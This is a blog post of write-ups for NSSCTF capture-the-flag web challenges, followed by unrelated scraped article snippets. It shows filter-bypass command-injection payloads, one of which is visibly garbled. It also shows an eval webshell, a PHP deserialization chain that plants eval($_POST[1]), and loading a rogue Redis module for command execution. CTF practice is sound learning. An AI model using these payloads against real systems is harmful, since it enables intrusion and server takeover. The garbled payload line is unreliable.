NSSCTF刷题篇1

devtools/2024/9/22 16:56:26/

js类型

[SWPUCTF 2022 新生赛]js_sign

这是一道js信息泄露的题目直接查看源码,有一个main.js文件点击之后,有一串数字和一段base64编码,解开base64编码得到这个编码为敲击码

解码在线网站:Tap Code - 许愿星 (wishingstarmoye.com)

注意要将数字之间的空格去掉

[MoeCTF 2021]2048

查看源代码

找到

    req.open("GET","flag.php?score="+obj.score,true);

这行代码然后直接

得到flag

md5类型

[SWPUCTF 2022 新生赛]奇妙的MD5

第一关特殊的字符串ffifdyop

第二第三关数组绕过

ssti模板注入

[安洵杯 2020]Normal SSTI

第一种方法

fenjing一把嗦

执行fenjing命令

python -m fenjing webui

然后填写网址一把嗦

命令执行

[MoeCTF 2021]babyRCE

查看源代码

php"> <?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
} 

一个命令执行主要排除了一些打开文件的命令还有空格,这里使用下面的命令进行绕过

php">?rce=uniq${IFS}fla?.php
?rce=c\at${IFS}fl\ag.php
?rce=ls|grepIFSf∣xargsIFSf∣xargs{IFS}-iIFScpIFScp{IFS}{}${IFS}t.txt

应该还有很多命令就不在列举,至于flag的名字可以直接ls进行查看,并没有禁止ls

[FSCTF 2023]webshell是啥捏 

源码

php"> <?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽'])) {eval($😭($_GET['👽']));
};?> 

正常的命令执行

php反序列化

[天翼杯 2021]esay_eval

打开网页查看源代码

php"><?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{function __destruct(){echo $this->a->a();}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
} 

魔法函数都非常简单,在这里反序列化触发逻辑也非常简单 B类当中的__destruct()去触发A类当中的__call最后在绕过__wakeup()这个魔法函数就行了

其中这里过滤了B,A字母,这个正则表达式主要是限制上面的类名的,而在php代码当中类名是不限制大小写的,所以直接大小写绕过即可;

脚本如下

php"><?php
class a{function __construct(){$this->code="eval($_POST[1]);";}}
class b{public $a;
}
$c=new b();
$c->a=new a();echo serialize($c);//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

在将木马传入之后用蚁剑连接,在蚁剑当中可以打开swp那个文件在文件最后有一些信息

提示打redis,那么就用蚁剑插件登录redis,密码也给你了为you_cannot_guess_it,登录一下

然后在刚才的目录下上传一个exp.so文件,文件地址

https://github.com/Dliv3/redis-rogue-server

上传之后,在打开redis页面

点击那个执行指令

php">MODULE LOAD "/var/www/html/exp.so"

执行上面指令然后就可以命令执行了

php">system.exec "ls /"

命令执行格式如上


http://www.ppmy.cn/devtools/115552.html

相关文章

WebGL颜色与纹理

WEBGL中的着色器变量包括以下种类&#xff1a; 属性变量&#xff08;Attribute Variables&#xff09;&#xff1a;这些变量用于接收从应用程序中传递的顶点数据&#xff0c;比如顶点位置和颜色&#xff0c;是只读的不可修改。统一变量&#xff08;Uniform Variables&#xff…

QT事件过滤器(1)

在 Qt 中&#xff0c;事件过滤是一种用于 拦截和处理对象事件 的机制。它允许一个对象监听和处理另一个对象的事件&#xff0c;比如键盘输入、鼠标点击等&#xff0c;而不必修改对象本身的代码。通过事件过滤&#xff0c;可以拦截并阻止事件的进一步传播。 事件机制概述 Qt 中…

证券api接口,一个开源Python量化交易平台项目需要考虑哪些方面

炒股自动化&#xff1a;申请官方API接口&#xff0c;散户也可以 python炒股自动化&#xff08;0&#xff09;&#xff0c;申请券商API接口 python炒股自动化&#xff08;1&#xff09;&#xff0c;量化交易接口区别 Python炒股自动化&#xff08;2&#xff09;&#xff1a;获取…

基于yolov8+deepsort+gradio实现目标追踪演示

【效果展示】 【测试环境】 ultralytics8.2.95 gradio4.26.0 torch1.9.0cu111 理论上支持最新ultralytics版本 【实现部分代码】 with gr.Blocks() as demo:with gr.Tab("追踪"):# 使用Markdown显示文本信息&#xff0c;介绍界面的功能gr.Markdown(""…

嵌入式单片机中数码管基本实现方法

1. 点亮数码管 本节课利用已经学习的LED知识去控制一个8位数码管。 本节的原理比较简单。不需要多少时间讲。 更多时间是跟大家一起编码调试,从中学习一些编码思路和学习方法。 1.1. 什么是数码管 数码管是什么?下图就是一个数码管 从硬件上个看,其实就是8个LED组合…

使用Django 搭建自动化平台

由于本人python 环境已安装&#xff0c;就不重复安装了&#xff0c;博客中有python的安装说明&#xff1b; 1 Django 的安装 安装很简单&#xff1a; pip install django 但是国内的网络环境&#xff0c;你很难成功&#xff0c;此处省略一些字。。。。。 问题总要解决&#…

VM-Ubantu中使用vscode头文件报错——解决办法

问题 系统中头文件明明存在但是却报错 解决方法 在报错的文件中点击&#xff0c;shift ctrl p选择Edit Configurations(JSON) 修改文件内容 原文件内容 修改之后的内容 {"configurations": [{"name": "Linux","includePath":…

Elasticsearch 检索优化:停用词的应用

Elasticsearch 检索优化&#xff1a;停用词的应用 场景描述 目前在 Elasticsearch 集群中存储约 1.5 亿篇文章数据&#xff0c;随着数据量的增加&#xff0c;检索性能问题逐渐显现。在列表检索和聚合操作中&#xff0c;CPU 消耗飙升至 100%&#xff0c;并且检索耗时较长&…